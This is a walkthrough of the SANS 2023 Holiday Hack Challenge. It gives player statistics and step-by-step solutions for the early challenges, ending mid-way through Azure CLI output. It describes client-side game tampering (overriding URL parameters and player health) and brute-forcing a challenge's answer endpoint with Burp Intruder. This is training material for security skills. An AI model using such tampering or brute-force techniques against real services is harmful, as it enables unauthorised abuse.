๐ŸŽ…๐ŸŽ„ SANS 2023 Holiday Hack Challenge (HHC) - A Holiday Odyssey ๐Ÿน๐Ÿ–๏ธ

111 minute read

HHC2023

Introduction

Every year the SANS Institute and the Counter Hack Team hosts a โ€˜Holiday Hack Challengeโ€™ also commonly referred to as HHC.

The SANS HHC contains a number of unique infosec related challenges designed to test and improve the technical skills of those interested in, or working within Information/Cyber Security.

The 2023 Holiday Hack Challenge can be found here: SANS 2023 HHC - A Holiday Odyssey.

Quick Statistics for HHC 2023

  • 15,664 players
  • 281 (1.79%) Completed the main HHC story and challenges
  • 197 people submitted a report on how they solved the challenges
  • 3 Random Draw Winners
  • 3 SANS.EDU Student Winners
  • 32 Honorable Mentions
  • 23 Super Honorable Mentions
  • 1 Most Creative Prize Winner, 1 Runner Up.
  • 1 Best Technical Answer Winner, 1 Runner Up.
  • 1 Best Overall Answer Winner (THIS SUBMISSION!)
  • 1 Extra Special Noteworthy Exemplary Trophy (ESNET) Award Winner.
  • 10 most popular sail combinations:
    • 205: Black / Black / Black
    • 90: Red / White / Blue
    • 68: Black / Red / Black
    • 65: White / White / White
    • 63: Blue / Blue / Blue
    • 61: Red / Red / Red
    • 56: Pink / Pink / Pink
    • 53: White / Green / Red
    • 52: Black / Black / Pink
    • 51: Black / Blue / Black
    • 3,377: Secret PLAID colour
  • 1,341 found Jason the fish
  • 24 unique objectives:
    • 83.25% solved Holiday Hack Orientation
    • 44.45% solved Linux 101
    • 33.02% solved Snowball Fight
    • 18.9% solved Azure 101
    • 18.42% solved Hashcat
    • 14.56% solved Elf Hunt
    • 13.26% solved Linux PrivEsc
    • 10.02% solved Luggage Lock
    • 9.22% solved Reportinator
    • 8.13% solved Na'an
    • 8.01% solved Phish Detection Agency
    • 7.58% solved Faster Lock Combination
    • 6.33% solved KQL Kraken Hunt
    • 5.73% solved Game Cartridges: Vol 1
    • 4.81% solved BONUS! Fishing Guide
    • 4.63% solved Certificate SSHenanigans
    • 3.03% solved Active Directory
    • 2.82% solved Space Island Door Access Speaker
    • 2.72% solved Game Cartridges: Vol 2
    • 2.61% solved The Captain's Comms
    • 2.29% solved Camera Access
    • 2.23% solved Game Cartridges: Vol 3
    • 1.88% solved Missile Diversion
    • 1.42% solved BONUS! Fishing Mastery
  • PSMITTY was 1st to solve all challenges in 47.5hrs
  • STIGWARD was 2nd to solve all challenges in 69.6hrs
  • PEDROCABRAL was 3rd to solve all challenges in 116.8hrs
  • 44,441,201 lines were cast to go fishing
    • Approximately 6.85 cast every second since launch
  • 511,539 fish caught
  • BLUEFOOT caught 33,403 fish
  • EFREDERICKSON caught 13,827 fish
  • GOBO caught 7,164 fish
  • 222 players caught all 171 fish species
  • JellyChip CuddleSwimmer was the most caught fish (3,988 times)
  • Piscis Cyberneticus Skodo was the least caught fish (1,149 times)
  • ISLAND SHUFFLE boat racing
    • 1st: seafallen
    • 2nd: apok
    • 3rd: noodlebox
  • ZIPPER boat racing
    • 1st: noodlebox
    • 2nd: skynetDev
    • 3rd: seafallen
  • THE GOOSE boat racing
    • 1st: noodlebox
    • 2nd: seafallen
    • 3rd: skynetDev
  • TRENCH RUN boat racing
    • 1st: skynetDev
    • 2nd: seafallen
    • 3rd: apok
  • THREAD THE NEEDLE boat racing
    • 1st: ahojnicki
    • 2nd: apok
    • seafallen
  • THE BIG DIPPER boat racing
    • 1st: seafallen
    • 2nd: apok
    • 3rd: noodlebox
  • BRUHMUDA boat racing
    • 1st: noodlebox
    • 2nd: skynetDev
    • 3rd: seafallen
  • THE GRAND TOUR boat racing
    • 1st: seafallen
    • 2nd: noodlebox
    • 3rd: skynetDev
  • Overall boat racing
    • 1st: seafallen (26.7 points)
    • 2nd: noodlebox (23.3 points)
    • 3rd: skynetDev (13.1 points)

Write-up

๐ŸŽ… Holiday Hack Orientation ๐ŸŽ„

๐Ÿ† Objective: Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands

โ›ต Destination: Christmas Island (Orientation)

โœ”๏ธ Solution: Complete the Orientation Cranberry Pi terminal

๐Ÿƒ Steps:

  • โ„๏ธ Sail to Christmas Island Orientation dock โ›ต
  • โ„๏ธ Click on Jingle Ringford multiple times
  • โ„๏ธ Claim your starfish badge ๐ŸŒŸ
  • โ„๏ธ Grab a fishing pole ๐ŸŽฃ
  • โ„๏ธ Type answer into the Cranberry Pi terminal.

๐Ÿ’ฌ Jingle Ringford Conversation:

Welcome to the Geese Islands and the 2023 SANS Holiday Hack Challenge!
I'm Jingle Ringford, one of Santa's many elves.
Santa asked me to meet you here and give you a short orientation to this festive event.
Before you head back to your boat, I'll ask you to accomplish a few simple tasks.
First things first, here's your badge! It's that starfish in the middle of your avatar.
Great - now you're official!
Click on the badge on your avatar. That's where you will see your Objectives, Hints, and Conversations for the Holiday Hack Challenge.
We've also got handy links to some awesome talks and more there for you!
Next, pick up that fishing pole over there in the sand. That will come in handy when you're sailing around the islands.
Fantastic!
OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.
Perfect! Your orientation is now complete!
Head back to your boat or click on the anchor icon on the left of the screen to set sail for Frosty's Beach where Santa's waiting for you. I've updated your boat's compass to guide the way.
As you sail to each island, talk to the goose of that island to receive a colorful lei festooning the masts on your ship.
Safe travels my friend and remember, relax, enjoy the sun, and most importantly, have FUN!

๐Ÿ’ก Breakdown:

Follow the bearing direction to Orientation dock.

Screenshot

Click on Jingle Ringford multiple times to have a conversation, and move to collect a fishing pole when it appears.

Screenshot

Click on the Cranberry Pi terminal. In the upper panel type answer.

Screenshot

๐ŸŽ… Snowball Fight ๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!

โ›ต Destination: Christmas Island (Frostyโ€™s Beach)

โœ”๏ธ Solution: Defeat Santa and his elves in a snowball fight

๐Ÿƒ Steps:

  • โ„๏ธ Sail to Christmas Island Frostyโ€™s Beach dock
  • โ„๏ธ Open Snowball Hero and create a private room
  • โ„๏ธ Intercept responses from the Snowball Hero challenge
  • โ„๏ธ Locate reference to singlePlayer variable and player.health in returned JavaScript
  • โ„๏ธ Force iframe to reload whilst appending &singlePlayer=false to the URL
  • โ„๏ธ Defeat Santa with the help of Elf the dwarf by modifying player.health to 999 using JavaScript

๐Ÿ’ฌ Morcel Nougat Conversation:

You're like a snowball fighting ninja! A real-life legend. Can I have your autograph!?

Note: Previous conversations with Morcel donโ€™t appear to have been recorded during the playthrough.

๐Ÿ’ก Breakdown:

Sail east around Christmas Island to find Frosty's Beach dock. Locate Morcel Nougat on the beach and click on the Snowball Hero challenge.

Screenshot

Using a configured instance of Burp Suite, intercept responses from the Snowball Hero challenge after clicking Create Private Room, or inspect the application raw JavaScript in developer tools of your browser.

A GET request to the below URL returns a script that contains the variable singlePlayer. By default this variable is set to false and thereโ€™s a function checkAndUpdateSinglePlayer() which checks if the URL contains a parameter singlePlayer. If the URL contains this parameter, the application sets the singlePlayer variable to either true or false depending on what value is passed.

https://hhc23-snowball.holidayhackchallenge.com/room/?username={playerName}&roomId={roomID}&roomType=private&gameType=co-op&id={uniqueID}&dna={uniqueID}

Screenshot

Open this URL in a new window and pass the parameter singlePlayer=true to setthe sinlePlayer variable to true and start a game where Elf the dwarf joins your team.

Screenshot

Screenshot

As this challenge must be completed within the iframe rather than a new tab, modify the iframe reference URL to contain &singlePlayer=true using any browser developer tools.

Screenshot

To win as a pacifist, enter player.health = 999 over and over again in the developer console to avoid taking any substantial damage whilst Elf does all of the damage to Santa and his elves.

Screenshot

๐ŸŽ… Linux 101 ๐ŸŽ„

๐Ÿ† Objective: Visit Ginger Breddie in Santaโ€™s Shack on Christmas Island to help him with some basic Linux tasks. Itโ€™s in the southwest corner of Frostyโ€™s Beach.

โ›ต Destination: Christmas Island (Santaโ€™s Surf Shack)

โœ”๏ธ Solution: Complete the Linux 101 Cranberry Pi terminal

๐Ÿƒ Steps:

  • โ„๏ธ Travel west on Christmas Island to find Santa's Surf Shack
  • โ„๏ธ Open Linux101 terminal and type yes
  • โ„๏ธ Perform a directory listing on your home directory
  • โ„๏ธ Find the troll inside the troll
  • โ„๏ธ Remove the troll in your home directory
  • โ„๏ธ Print the present working directory
  • โ„๏ธ Find the hidden troll in your home directory
  • โ„๏ธ Find the troll in your command history
  • โ„๏ธ Find the troll in your environment variables
  • โ„๏ธ Head into the workshop
  • โ„๏ธ Use grep to find the troll in the workshop toolboxes
  • โ„๏ธ Run the present_engine binary to retrieve a troll
  • โ„๏ธ Rename blown_fuse0 to fuse0 after changing into electrical directory
  • โ„๏ธ Make a symbolic link named fuse1 that points to fuse0
  • โ„๏ธ Make a copy of fuse1 named fuse2
  • โ„๏ธ Add the characters TROLL_REPELLENT into the file fuse2
  • โ„๏ธ Find the troll somewhere in /opt/troll_den
  • โ„๏ธ Find the file somewhere in /opt/troll_den that is owned by the user troll
  • โ„๏ธ Find the file that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den
  • โ„๏ธ List running processes to find a troll
  • โ„๏ธ Display the only listening port on the screen
  • โ„๏ธ Interact with the HTTP service on port 54321
  • โ„๏ธ Stop the 14516_troll process to collect the remaining presents

๐Ÿ’ฌ Ginger Breddie Conversation:

Hey, welcome to Santa's Surf Shack on tropical Christmas Island! I'm just hanging ten here, taking it easy while brushing up on my Linux skills.
You ever tried getting into Linux? It's a super cool way to play around with computers.
Can you believe ChatNPT suggested this trip to the Geese Islands this year? I'm so thrilled!
Kudos to ChatNPT, eh? The sunshine, the waves, and my surfboard โ€“ simply loving it!
So, what do you have planned? Care to join me in a Linux session?
Wow, if your surfing skills are as good as your Linux skills, you could be winning competitions!

๐Ÿ’ก Breakdown:

Travelling west from the Snowball Hero challenge, Santa's Surf Shack can be found on the southwest corner of Frosty's Beach.

Screenshot

Inside the surf shack is a Cranberry Pi challenge.

Screenshot

Win the challenge by following instructions in the top pane. Specific Linux commands to solve the challenge are shown below.

โ›„ Perform a directory listing of your home directory

elf@2ff6046711be:~$ ls /home/elf
HELP  troll_19315479765589239  workshop

โ›„ Find the troll inside the troll

elf@2ff6046711be:~$ cat /home/elf/troll_19315479765589239
troll_24187022596776786

โ›„ Remove the troll in your home directory

elf@2ff6046711be:~$ rm /home/elf/troll_19315479765589239

โ›„ Print the present working directory

elf@2ff6046711be:~$ pwd
/home/elf

โ›„ Find the hidden troll in your home directory

elf@2ff6046711be:~$ ls -la
total 64
drwxr-xr-x 1 elf  elf   4096 Dec 14 04:26 .
drwxr-xr-x 1 root root  4096 Dec  2 22:19 ..
-rw-r--r-- 1 elf  elf     28 Dec  2 22:19 .bash_history
-rw-r--r-- 1 elf  elf    220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 elf  elf   3105 Nov 20 18:04 .bashrc
-rw-r--r-- 1 elf  elf    807 Feb 25  2020 .profile
-rw-r--r-- 1 elf  elf      0 Dec 14 04:26 .troll_5074624024543078
-rw-r--r-- 1 elf  elf    168 Nov 20 18:04 HELP
drwxr-xr-x 1 elf  elf  24576 Dec  2 22:19 workshop

โ›„ Find the troll in your command history

elf@2ff6046711be:~$ history
	1  echo troll_9394554126440791
	2  ls /home/elf
	3  cat /home/elf/troll_19315479765589239
	4  rm troll_19315479765589239
	5  pwd
	6  ls -la
	7  history

โ›„ Find the troll in your environment variables

elf@2ff6046711be:~$ env
SHELL=/bin/bash
TMUX=/tmp/tmux-1050/default,17,0
HOSTNAME=2ff6046711be
RESOURCE_ID=89b666cb-8ab4-47cd-bc9c-6536c2a99620
GREENSTATUSPREFIX=presents
PWD=/home/elf
LOGNAME=elf
SESSNAME=Troll Wrangler
z_TROLL=troll_20249649541603754
HOME=/home/elf
LANG=C.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.jpg=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
HHCUSERNAME=JPMinty
AREA=cisantassurfshack
BPUSERHOME=/home/elf
LESSCLOSE=/usr/bin/lesspipe %s %s
TERM=screen
LESSOPEN=| /usr/bin/lesspipe %s
USER=elf
TOKENS=linux101
TMUX_PANE=%2
BPUSER=elf
SHLVL=3
LC_ALL=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
MAIL=/var/mail/elf
LOCATION=7,8
_=/usr/bin/env

โ›„ Head into the workshop

elf@2ff6046711be:~$ cd workshop
elf@2ff6046711be:~/workshop$

โ›„ Use โ€œgrepโ€ to find the troll in the workshop toolboxes

elf@2ff6046711be:~/workshop$ grep -r 'troll' -i
toolbox_191.txt:tRoLl.4056180441832623

โ›„ Run the present_engine binary to retrieve a troll

elf@2ff6046711be:~/workshop$ chmod +x ./present_engine
elf@2ff6046711be:~/workshop$ ./present_engine
troll.898906189498077

โ›„ Rename โ€˜blown_fuse0โ€™ to โ€˜fuse0โ€™ after changing into electrical directory

elf@2ff6046711be:~/workshop$ cd electrical/ && mv blown_fuse0 fuse0
elf@2ff6046711be:~/workshop/electrical$
elf@2ff6046711be:~/workshop/electrical$ ln -s fuse0 fuse1

โ›„ Make a copy of fuse1 named fuse2

elf@2ff6046711be:~/workshop/electrical$ cp fuse1 fuse2

โ›„ Add the characters โ€œTROLL_REPELLENTโ€ into the file fuse2

elf@2ff6046711be:~/workshop/electrical$ echo "TROLL_REPELLENT" > fuse2

โ›„ Find the troll somewhere in /opt/troll_den

elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -iname "*troll*" -type f
/opt/troll_den/plugins/embeddedjsp/src/main/java/org/apache/struts2/jasper/compiler/ParserController.java
/opt/troll_den/apps/showcase/src/main/resources/tRoLl.6253159819943018
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/IndexController.java
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/OrdersController.java

โ›„ Find the file somewhere in /opt/troll_den that is owned by the user troll

elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -type f -user troll
/opt/troll_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/tr0LL_9528909612014411

โ›„ Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.

elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -type f -size +108k -size -110k
/opt/troll_den/plugins/portlet-mocks/src/test/java/org/apache/t_r_o_l_l_2579728047101724

โ›„ List running processes to find a troll

elf@2ff6046711be:~/workshop/electrical$ ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
init           1  0.0  0.0  20112 16304 pts/0    Ss+  05:19   0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf         9346  0.1  0.0  31520 26684 pts/2    S+   05:35   0:00 /usr/bin/python3 /14516_troll
elf        10137  0.0  0.0   7672  3196 pts/3    R+   05:36   0:00 ps -aux

โ›„ Display the only listening port on the screen

elf@2ff6046711be:~/workshop/electrical$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN     
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     9946150  /tmp/tmux-1050/default

โ›„ Interact with the HTTP service on port 54321

elf@2ff6046711be:~/workshop/electrical$ curl http://127.0.0.1:54321
troll.73180338045875

โ›„ Stop the 14516_troll process to collect the remaining presents

elf@2ff6046711be:~/workshop/electrical$ kill 9346

๐ŸŽ… Reportinator ๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

โ›ต Destination: Christmas Island (Rudolphโ€™s Rest)

โœ”๏ธ Solution: Identify and submit the hallucinated pentest reports for review

๐Ÿƒ Steps:

  • โ„๏ธ Sail to Christmas Island Rudolph's Rest dock
  • โ„๏ธ Open Reportinator Cranberry Pi and review Penetration Test Report findings
  • โ„๏ธ Mark any findings without hallucinated or false findings with a โœ”๏ธ
  • โ„๏ธ Mark any findings with hallucinated or false findings issues with a โŒ
  • โ„๏ธ Click Submit Review

๐Ÿ’ฌ Noel Boetie Conversation:

Hey there, Noel Boetie speaking! I recently tried using ChatNPT to generate my penetration testing report.
It's a pretty nifty tool, but there are a few issues in the output that I've noticed.
I need some guidance in finding any errors in the way it generated the content, especially those odd hallucinations in the LLM output.
I know it's not perfect, but I'd really appreciate the extra eyes on this one.
Some of the issues might be subtle, so don't be afraid to dig deep and ask for further clarification if you're unsure.
I've heard that you folks are experts about LLM outputs and their common issues, so I trust you can help me with this.
Your input will be invaluable to me, so please feel free to share any insights or findings you may have.
I'm looking forward to working with you all and improving the quality of the ChatNPT-generated penetration testing report.
Thanks in advance for your help! I truly appreciate it! Let's make this report the best it can be!
Great job on completing that challenge! Ever thought about how your newfound skills might come into play later on? Keep that mind sharp, and remember, today's victories are tomorrow's strategies!

๐Ÿ’ก Breakdown:

Heading east, sail to Christmas Island Rudolph's Rest dock and find the Reporting Cranberry Pi terminal next to Noel Boetie.

Screenshot

Review 9 findings presented in the Cranberry Pi terminal for hallucinated or false findings. The following 3 findings have hallucinations highlighted:

โ›„ 3. Remote Code Execution via Java Deserialization of Stored Database Objects

This report claims that by intercepting HTTP request traffic on 88555/TCP malicious actors can exploit a vulnerability.

Screenshot

TCP port 88555 doesnโ€™t exist because dynamic port ranges only go to 65535 which is the maximum value of an unsigned 16-bit integer.

โ›„ 6. Stored Cross-Site Scripting Vulnerabilities

This report claims that by mishandling data encoding procedures, stored cross-site scripting vulnerabilities become present. It also claims returned JSON data is being unsafely processed by client-side scripts, and XSS attack language is a valid way to test remediation efforts.

Screenshot

Some issues with this report include:

  • HTTP sends doesnโ€™t mention a protocol or method used.
  • Mishandling of data encoding procedures implies that a documented procedure wasnโ€™t handled in an appropriate way by a human rather than any technical encoding or sanitisation.
  • JSON data being processed unsafely by client-side scripts implies that scripts themselves are interpreting cross-site scripting payloads rather than these being simply interpreted by a browser as valid HTML.
  • Thereโ€™s little to no tangible information on what user input is being stored on the server which is not sanitised or encoded.
  • Broken sentence structure and grammatical issues.
  • XSS attack language is unclear and provides no actionable way to test remediation efforts.

โ›„ 9. Internal IP Address Disclosure

This report claims that internal IP addresses are leaked in a Location header when a HTTP header request is made that gives a HTTP 7.4.33 request, and a Host header with no value.

Screenshot

Screenshot

Some issues with this report include:

  • HTTP header request doesnโ€™t exist, the closest thing is a HTTP HEAD request.
  • HTTP 7.4.33 request doesnโ€™t exist and seems to be hallucinated based on server version naming conventions.
  • No private IP address information is leaked in a Location header shown in Listing 6.
  • Listing 6 has hallucinated an IPv4 address which begins with 1192 as its first octet. Octets are made up of 8-bits and can only go up to 255.
  • Location headers are used for website redirection and canโ€™t simply be changed to reflect the host machine Windows registration key. Even if it could this would leak more information and is not a good idea.

Submit these 3 findings with a โŒ to solve the challenge.

Screenshot

๐Ÿ’ก Bonus: Brute forcing the challenge

Although not required or recommended, the challenge technically can be brute forced using a tool like Burp Suite.

Upon submitting reports for review a POST request is made containing input parameters to the below:

hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com

Given thereโ€™s only 9 parameters sent, each of which needs to be either 0 or 1, Burp Suiteโ€™s Intruder tool can be used to submit 512 requests each with differing parameter values until the correct answer is found.

Screenshot

The correct answer is evident by a response status code of 200 instead of 400.

๐ŸŽ… Azure 101 ๐ŸŽ„๐ŸŽ„

๐Ÿ† Objective: Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.

โ›ต Destination: Christmas Island (Rudolphโ€™s Rest)

โœ”๏ธ Solution: Complete the Azure 101 Cranberry Pi terminal

๐Ÿƒ Steps:

  • โ„๏ธ Head west to find Sparkle Redberry
  • โ„๏ธ Open Azure 101 Cranberry Pi terminal
  • โ„๏ธ Review the Azure cli help messages
  • โ„๏ธ Get a list of resource groups in Azure
  • โ„๏ธ Review configured Azure cli account details
  • โ„๏ธ Get a list of function apps for a resource group
  • โ„๏ธ List the only VM in one of the resource groups accessible
  • โ„๏ธ Invoke a run-command and use a RunShellScript against the VM to reveal a file

๐Ÿ’ก Breakdown:

Travelling west from the Reportinator challenge, find Sparkle Redberry and the Azure 101 Cranberry Pi terminal at Rudolph's Rest.

Screenshot

Win the challenge by following instructions in the top pane. Specific Azure CLI commands to solve the challenge are shown below.

โ›„ Review the Azure cli help messages

elf@84d2543b8a87:~$ az help | less
Group
    az

Subgroups:
    account                     : Manage Azure subscription information.
    acr                         : Manage private registries with Azure Container Registries.
    ad                          : Manage Azure Active Directory Graph entities needed for Role Based
                                  Access Control.
    advisor                     : Manage Azure Advisor.
    aks                         : Manage Azure Kubernetes Services.
    ams               [Preview] : Manage Azure Media Services resources.
    apim              [Preview] : Manage Azure API Management services.
    appconfig         [Preview] : Manage App Configurations.
    appservice                  : Manage App Service plans.
    backup            [Preview] : Manage Azure Backups.
    batch                       : Manage Azure Batch.
    billing                     : Manage Azure Billing.
    bot                         : Manage Microsoft Azure Bot Service.
    cache             [Preview] : Commands to manage CLI objects cached using the
                                  `--defer` argument.
    cdn                         : Manage Azure Content Delivery Networks (CDNs).
    cloud                       : Manage registered Azure clouds.
    cognitiveservices           : Manage Azure Cognitive Services accounts.
    consumption       [Preview] : Manage consumption of Azure resources.
    container                   : Manage Azure Container Instances.
    cosmosdb                    : Manage Azure Cosmos DB database accounts.
    deployment                  : Manage Azure Resource Manager deployments at subscription scope.
    deploymentmanager [Preview] : Create and manage rollouts for your service.
    disk                        : Manage Azure Managed Disks.
    disk-encryption-set         : Disk Encryption Set resource.
    dla               [Preview] : Manage Data Lake Analytics accounts, jobs, and catalogs.
    dls               [Preview] : Manage Data Lake Store accounts and filesystems.
    dms                         : Manage Azure Data Migration Service (DMS) instances.
    eventgrid                   : Manage Azure Event Grid topics, event subscriptions, domains 
:q

โ›„ Review configured Azure cli account details

elf@84d2543b8a87:~$ az account show | less
{
  "environmentName": "AzureCloud",
  "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
  "isDefault": true,
  "name": "northpole-sub",
  "state": "Enabled",
  "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
  "user": {
    "name": "[email protected]",
    "type": "user"
  }
}
(END)
q

โ›„ Get a list of resource groups in Azure

elf@84d2543b8a87:~$ az group list
[
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
    "location": "eastus",
    "managedBy": null,
    "name": "northpole-rg1",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  },
  {
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
    "location": "westus",
    "managedBy": null,
    "name": "northpole-rg2",
    "properties": {
      "provisioningState": "Succeeded"
    },
    "tags": {}
  }
]

โ›„ Get a list of function apps for a resource group

elf@84d2543b8a87:~$ az functionapp list --resource-group northpole-rg1|more
[
  {
    "appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/nor
thpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
    "availabilityState": "Normal",
    "clientAffinityEnabled": false,
    "clientCertEnabled": false,
    "clientCertExclusionPaths": null,
    "clientCertMode": "Required",
    "cloningInfo": null,
    "containerSize": 0,
    "customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59
DBEA",
    "dailyMemoryTimeQuota": 0,
    "defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
    "enabled": true,
    "enabledHostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
    "extendedLocation": null,
    "hostNameSslStates": [
      {
        "certificateResourceId": null,
        "hostType": "Standard",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      },
      {
        "certificateResourceId": null,
        "hostType": "Repository",
       "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "northpole-ssh-certs-fa.scm.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIPv6": null,
        "virtualIp": null
      }
    ],
    "hostNames": [
      "northpole-ssh-certs-fa.azurewebsites.net"
    ],
    "hostNamesDisabled": false,
    "hostingEnvironmentProfile": null,
    "httpsOnly": false,
    "hyperV": false,
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/pro
viders/Microsoft.Web/sites/northpole-ssh-certs-fa",
    "identity": {
      "principalId": "d3be48a8-0702-407c-89af-0319780a2aea",
      "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
      "type": "SystemAssigned",
      "userAssignedIdentities": null
    },
    "inProgressOperationId": null,
    "isDefaultContainer": null,
    "isXenon": false,
    "keyVaultReferenceIdentity": "SystemAssigned",
    "kind": "functionapp,linux",
    "lastModifiedTimeUtc": "2023-11-09T14:43:01.183333",
    "location": "East US",
    "maxNumberOfWorkers": null,
    "name": "northpole-ssh-certs-fa",
    "possibleOutboundIpAddresses": "",
    "publicNetworkAccess": null,
    "redundancyMode": "None",
    "repositorySiteName": "northpole-ssh-certs-fa",
    "reserved": true,
    "resourceGroup": "northpole-rg1",
    "scmSiteAlsoStopped": false,
    "siteConfig": {
      "acrUseManagedIdentityCreds": false,
      "acrUserManagedIdentityId": null,
      "alwaysOn": false,
      "antivirusScanEnabled": null,
      "apiDefinition": null,
      "apiManagementConfig": null,
      "appCommandLine": null,
      "appSettings": null,
      "autoHealEnabled": null,
      "autoHealRules": null,
      "autoSwapSlotName": null,
      "azureMonitorLogCategories": null,
      "azureStorageAccounts": null,
      "connectionStrings": null,
      "cors": null,
      "customAppPoolIdentityAdminState": null,
      "customAppPoolIdentityTenantState": null,
      "defaultDocuments": null,
      "detailedErrorLoggingEnabled": null,
      "documentRoot": null,
      "elasticWebAppScaleLimit": null,
      "experiments": null,
      "fileChangeAuditEnabled": null,
      "ftpsState": null,
      "functionAppScaleLimit": 200,
      "functionsRuntimeScaleMonitoringEnabled": null,
      "handlerMappings": null,
      "healthCheckPath": null,
      "http20Enabled": true,
      "http20ProxyFlag": null,
      "httpLoggingEnabled": null,
      "ipSecurityRestrictions": null,
      "ipSecurityRestrictionsDefaultAction": null,
      "javaContainer": null,
      "javaContainerVersion": null,
      "javaVersion": null,
      "keyVaultReferenceIdentity": null,
      "limits": null,
      "linuxFxVersion": "Python|3.11",
      "loadBalancing": null,
      "localMySqlEnabled": null,
      "logsDirectorySizeLimit": null,
      "machineKey": null,
      "managedPipelineMode": null,
      "managedServiceIdentityId": null,
      "metadata": null,
      "minTlsCipherSuite": null,
      "minTlsVersion": null,
      "minimumElasticInstanceCount": 0,
      "netFrameworkVersion": null,
      "nodeVersion": null,
      "numberOfWorkers": 1,
      "phpVersion": null,
      "powerShellVersion": null,
      "preWarmedInstanceCount": null,
      "publicNetworkAccess": null,
      "publishingPassword": null,
      "publishingUsername": null,
      "push": null,
      "pythonVersion": null,
      "remoteDebuggingEnabled": null,
      "remoteDebuggingVersion": null,
      "requestTracingEnabled": null,
      "requestTracingExpirationTime": null,
      "routingRules": null,
      "runtimeADUser": null,
